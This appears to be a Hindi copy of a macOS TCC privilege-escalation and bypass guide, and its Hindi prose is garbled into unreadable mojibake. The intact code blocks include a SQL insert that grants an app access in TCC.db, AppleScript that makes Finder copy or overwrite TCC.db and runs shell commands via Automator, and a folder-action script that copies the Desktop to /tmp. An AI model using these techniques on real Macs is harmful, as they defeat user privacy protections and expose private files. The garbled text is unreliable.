рдХреБрдЫ TCC рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... рдЗрдирдореЗрдВ рд╕реЗ рд╕рднреА рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА рдХреЛрдИ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╕реВрдЪреА рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдк рдЗрд╕ рдЬреНрдЮрд╛рдд рдХреА рд╕реВрдЪреА рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╕реНрдерд╛рди

  • $HOME (рд╕реНрд╡рдпрдВ)
  • $HOME/.ssh, $HOME/.aws, рдЖрджрд┐
  • /tmp

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрд░рд╛рджрд╛ / com.apple.macl

рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдПрдХ рдРрдк рдХреЛ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЗрд╕реЗ рдЦреАрдВрдЪрдХрд░ рдФрд░ рдЫреЛрдбрд╝рдХрд░ред рдпрд╣ рдкрд╣реБрдБрдЪ рдХрд┐рд╕реА рднреА TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рд╣реЛрдЧреА, рдмрд▓реНрдХрд┐ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдЧреБрдг рдХреЗ рд░реВрдк рдореЗрдВ рд╣реЛрдЧреАред рдпрд╣ рдЧреБрдг рдЕрдиреБрдордд рдРрдк рдХрд╛ UUID рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛:

bash
xattr Desktop/private.txt com.apple.macl # Check extra access to the file ## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command macl_read Desktop/private.txt Filename,Header,App UUID "Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3 # Get the UUID of the app otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3

note

рдпрд╣ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХрд┐ com.apple.macl рд╡рд┐рд╢реЗрд╖рддрд╛ Sandbox рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ, рди рдХрд┐ tccd рджреНрд╡рд╛рд░рд╛ред

рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЕрдкрдиреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рдПрдХ рдРрдк рдХреЗ UUID рдХреЗ рд╕рд╛рде рдХрд┐рд╕реА рдЕрдиреНрдп рдХрдВрдкреНрдпреВрдЯрд░ рдореЗрдВ рд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ, рддреЛ рдХреНрдпреЛрдВрдХрд┐ рдЙрд╕реА рдРрдк рдХреЗ рдЕрд▓рдЧ-рдЕрд▓рдЧ UIDs рд╣реЛрдВрдЧреЗ, рдпрд╣ рдРрдк рдХреЛ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рджреЗрдЧрд╛ред

рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╡рд┐рд╢реЗрд╖рддрд╛ com.apple.macl рдЕрдиреНрдп рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреА рддрд░рд╣ рд╣рдЯрд╛рдИ рдирд╣реАрдВ рдЬрд╛ рд╕рдХрддреА рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ SIP рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЬреИрд╕реЗ рдХрд┐ рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕реЗ рдЬрд╝рд┐рдк рдХрд░рдХреЗ, рд╣рдЯрд╛рдХрд░ рдФрд░ рдЕрдирдЬрд╝рд┐рдк рдХрд░рдХреЗ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред

TCC Privesc & Bypasses

TCC рдореЗрдВ рдбрд╛рд▓реЗрдВ

рдпрджрд┐ рдХрд┐рд╕реА рдмрд┐рдВрджреБ рдкрд░ рдЖрдк TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ (рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ рд╣рдЯрд╛ рджреЗрдВ):

TCC рдореЗрдВ рдбрд╛рд▓рдиреЗ рдХрд╛ рдЙрджрд╛рд╣рд░рдг
sql
INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp );

TCC Payloads

рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рдРрдк рдХреЗ рдЕрдВрджрд░ рдХреБрдЫ TCC рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдкрд╣реБрдБрдЪрдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛ рдЧрдП рд╣реИрдВ, рддреЛ рдЙрдиреНрд╣реЗрдВ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП TCC рдкреЗрд▓реЛрдбреНрд╕ рдХреЗ рд╕рд╛рде рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рджреЗрдЦреЗрдВ:

macOS TCC Payloads

Apple Events

Apple Events рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВ:

macOS Apple Events

Automation (Finder) to FDA*

Automation рдЕрдиреБрдорддрд┐ рдХрд╛ TCC рдирд╛рдо рд╣реИ: kTCCServiceAppleEvents
рдпрд╣ рд╡рд┐рд╢реЗрд╖ TCC рдЕрдиреБрдорддрд┐ рдпрд╣ рднреА рдЗрдВрдЧрд┐рдд рдХрд░рддреА рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдЕрдВрджрд░ (рдЗрд╕рд▓рд┐рдП рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдХреЗрд╡рд▓ рд╕рдм рдХреБрдЫ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддреА рд╣реИрдВ)ред

Finder рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╣реИ рдЬреЛ рд╣рдореЗрд╢рд╛ FDA рд░рдЦрддрд╛ рд╣реИ (рднрд▓реЗ рд╣реА рдпрд╣ UI рдореЗрдВ рди рджрд┐рдЦрд╛рдИ рджреЗ), рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЗрд╕рдХреЗ рдКрдкрд░ Automation рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдЫ рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░рд╡рд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдкрдХреЗ рдРрдк рдХреЛ com.apple.Finder рдкрд░ kTCCServiceAppleEvents рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред

applescript
# This AppleScript will copy the system TCC database into /tmp osascript<<EOD tell application "Finder" set homeFolder to path to home folder as string set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias set targetFolder to POSIX file "/tmp" as alias duplicate file sourceFile to targetFolder with replacing end tell EOD

рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдк DATABASE TCC рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред

warning

рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдЖрдк рдлрд╛рдЗрдВрдбрд░ рд╕реЗ TCC рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЛ рдлрд╝рд╛рдЗрд▓реЗрдВ рдорд┐рд▓реЗрдВрдЧреА, рд▓реЗрдХрд┐рди afaik рдЖрдк рдлрд╛рдЗрдВрдбрд░ рдХреЛ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ рддрд╛рдХрд┐ рдЖрдк рдЙрд╕рдХреА FDA рдкрд╣реБрдБрдЪ рдХрд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдВред

рдЗрд╕рд▓рд┐рдП, рдЖрдк рдкреВрд░реА FDA рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред

рдпрд╣ рдлрд╛рдЗрдВрдбрд░ рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП TCC рдкреНрд░реЙрдореНрдкреНрдЯ рд╣реИ:

caution

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреНрдпреЛрдВрдХрд┐ Automator рдРрдк рдХреЗ рдкрд╛рд╕ TCC рдЕрдиреБрдорддрд┐ kTCCServiceAppleEvents рд╣реИ, рдпрд╣ рдХрд┐рд╕реА рднреА рдРрдк рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдлрд╛рдЗрдВрдбрд░ред рдЗрд╕рд▓рд┐рдП Automator рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛрдиреЗ рдкрд░ рдЖрдк рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдХреЛрдб рдХреА рддрд░рд╣ рдлрд╛рдЗрдВрдбрд░ рдХреЛ рднреА рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

Automator рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
applescript
osascript<<EOD set theScript to "touch /tmp/something" tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD # Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рдВрдкрд╛рджрдХ рдРрдк рдХреЗ рд╕рд╛рде рднреА рдпрд╣реА рд╣реЛрддрд╛ рд╣реИ, рдпрд╣ рдлрд╝рд╛рдЗрдВрдбрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдПрдХ AppleScript рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдЗрд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред

рд╕реНрд╡рдЪрд╛рд▓рди (SE) рд╕реЗ рдХреБрдЫ TCC

рд╕рд┐рд╕реНрдЯрдо рдЗрд╡реЗрдВрдЯреНрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХреНрд░рд┐рдпрд╛рдПрдБ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдлрд╝реЛрд▓реНрдбрд░ рдХреНрд░рд┐рдпрд╛рдПрдБ рдХреБрдЫ TCC рдлрд╝реЛрд▓реНрдбрд░реЛрдВ (рдбреЗрд╕реНрдХрдЯреЙрдк, рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдФрд░ рдбрд╛рдЙрдирд▓реЛрдб) рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреА рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

bash
# Create script to execute with the action cat > "/tmp/script.js" <<EOD var app = Application.currentApplication(); app.includeStandardAdditions = true; app.doShellScript("cp -r $HOME/Desktop /tmp/desktop"); EOD osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js" # Create folder action with System Events in "$HOME/Desktop" osascript <<EOD tell application "System Events" -- Ensure Folder Actions are enabled set folder actions enabled to true -- Define the path to the folder and the script set homeFolder to path to home folder as text set folderPath to homeFolder & "Desktop" set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt" -- Create or get the Folder Action for the Desktop if not (exists folder action folderPath) then make new folder action at end of folder actions with properties {name:folderPath, path:folderPath} end if set myFolderAction to folder action folderPath -- Attach the script to the Folder Action if not (exists script scriptPath of myFolderAction) then make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath} end if -- Enable the Folder Action and the script enable myFolderAction end tell EOD # File operations in the folder should trigger the Folder Action touch "$HOME/Desktop/file" rm "$HOME/Desktop/file"

Automation (SE) + Accessibility (kTCCServicePostEvent|kTCCServiceAccessibility) to FDA*

System Events рдкрд░ рдСрдЯреЛрдореЗрд╢рди + рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА (kTCCServicePostEvent) рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХреАрд╕реНрдЯреНрд░реЛрдХ рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдЖрдк рдлрд╝рд╛рдЗрдВрдбрд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ TCC.db рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдХрд┐рд╕реА рдордирдЪрд╛рд╣реА рдРрдк рдХреЛ FDA рджреЗ рд╕рдХрддреЗ рд╣реИрдВ (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб рдорд╛рдВрдЧрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ)ред

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ TCC.db рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдиреЗ рдХрд╛ рдлрд╝рд╛рдЗрдВрдбрд░ рдЙрджрд╛рд╣рд░рдг:

applescript
-- store the TCC.db file to copy in /tmp osascript <<EOF tell application "System Events" -- Open Finder tell application "Finder" to activate -- Open the /tmp directory keystroke "g" using {command down, shift down} delay 1 keystroke "/tmp" delay 1 keystroke return delay 1 -- Select and copy the file keystroke "TCC.db" delay 1 keystroke "c" using {command down} delay 1 -- Resolve $HOME environment variable set homePath to system attribute "HOME" -- Navigate to the Desktop directory under $HOME keystroke "g" using {command down, shift down} delay 1 keystroke homePath & "/Library/Application Support/com.apple.TCC" delay 1 keystroke return delay 1 -- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html) keystroke "TCC.db" delay 1 keystroke return delay 1 key code 51 using {command down} delay 1 -- Paste the file keystroke "v" using {command down} end tell EOF

kTCCServiceAccessibility to FDA*

рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдХреБрдЫ рдкреЗрд▓реЛрдбреНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдЬреЛ рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ FDA* рдХреЗ рд▓рд┐рдП рдкреНрд░рд┐рд╡реЗрд╕реНрдХ рдпрд╛ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХреАрд▓реЙрдЧрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред

рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕реБрд░рдХреНрд╖рд╛ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗ FDA

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ kTCCServiceEndpointSecurityClient рд╣реИ, рддреЛ рдЖрдкрдХреЗ рдкрд╛рд╕ FDA рд╣реИред рд╕рдорд╛рдкреНрддред

рд╕рд┐рд╕реНрдЯрдо рдиреАрддрд┐ SysAdmin рдлрд╝рд╛рдЗрд▓ рд╕реЗ FDA

kTCCServiceSystemPolicySysAdminFiles рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ NFSHomeDirectory рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдЙрд╕рдХреЗ рд╣реЛрдо рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдмрджрд▓рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рд▓рд┐рдП TCC рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ TCC DB рд╕реЗ FDA

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдкрд░ рдЖрдк FDA рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдирд╣реАрдВ рджреЗ рд╕рдХрддреЗ, рдХреЗрд╡рд▓ рд╡рд╣реА рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд░рд╣рддрд╛ рд╣реИ рд╡рд╣ рдЗрд╕реЗ рджреЗ рд╕рдХрддрд╛ рд╣реИред

рд▓реЗрдХрд┐рди рдЖрдк Finder рдХреЗ рд▓рд┐рдП рдСрдЯреЛрдореЗрд╢рди рдЕрдзрд┐рдХрд╛рд░ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ FDA* рддрдХ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рддрдХрдиреАрдХ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

FDA рд╕реЗ TCC рдЕрдиреБрдорддрд┐рдпрд╛рдБ

рдкреВрд░реНрдг рдбрд┐рд╕реНрдХ рдПрдХреНрд╕реЗрд╕ рдХрд╛ TCC рдирд╛рдо kTCCServiceSystemPolicyAllFiles рд╣реИред

рдореБрдЭреЗ рдирд╣реАрдВ рд▓рдЧрддрд╛ рдХрд┐ рдпрд╣ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкреНрд░рд┐рд╡реЗрд╕реНрдХ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдкрдХреЛ рдпрд╣ рдЙрдкрдпреЛрдЧреА рд▓рдЧрддрд╛ рд╣реИ: рдпрджрд┐ рдЖрдк FDA рдХреЗ рд╕рд╛рде рдПрдХ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдкрдиреЗ рд▓рд┐рдП рдХреЛрдИ рднреА рдПрдХреНрд╕реЗрд╕ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдПрдХ рд╕реНрдерд╛рдпреА рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рдЖрдк рдЕрдкрдиреА FDA рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЦреЛ рджреЗрддреЗ рд╣реИрдВред

SIP рдмрд╛рдпрдкрд╛рд╕ рд╕реЗ TCC рдмрд╛рдпрдкрд╛рд╕

рд╕рд┐рд╕реНрдЯрдо TCC рдбреЗрдЯрд╛рдмреЗрд╕ SIP рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ, рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ рдХреЗрд╡рд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЬрд┐рдирдХреЗ рдкрд╛рд╕ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреАред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ SIP рдмрд╛рдпрдкрд╛рд╕ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдкрд░ рдкрд╛рддрд╛ рд╣реИ (SIP рджреНрд╡рд╛рд░рд╛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛), рддреЛ рд╡рд╣ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛:

  • TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рд╣рдЯрд╛ рджреЗрдВ, рдФрд░ рдЕрдкрдиреЗ рд▓рд┐рдП рд╕рднреА TCC рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреЗрдВред рд╡рд╣ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
  • TCC рд╕рд┐рд╕реНрдЯрдо рдбреЗрдЯрд╛рдмреЗрд╕
  • REG.db
  • MDMOverrides.plist

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ SIP рдмрд╛рдпрдкрд╛рд╕ рдХрд╛ TCC рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рд╡рд┐рдХрд▓реНрдк рд╣реИ, рдлрд╝рд╛рдЗрд▓ /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist рдЙрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рд╕реВрдЪреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ TCC рдЕрдкрд╡рд╛рдж рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рд╕реЗ SIP рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рд╣рдЯрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЕрдкрдирд╛ рд╕реНрд╡рдпрдВ рдХрд╛ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЬреЛрдбрд╝ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧ TCC рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред
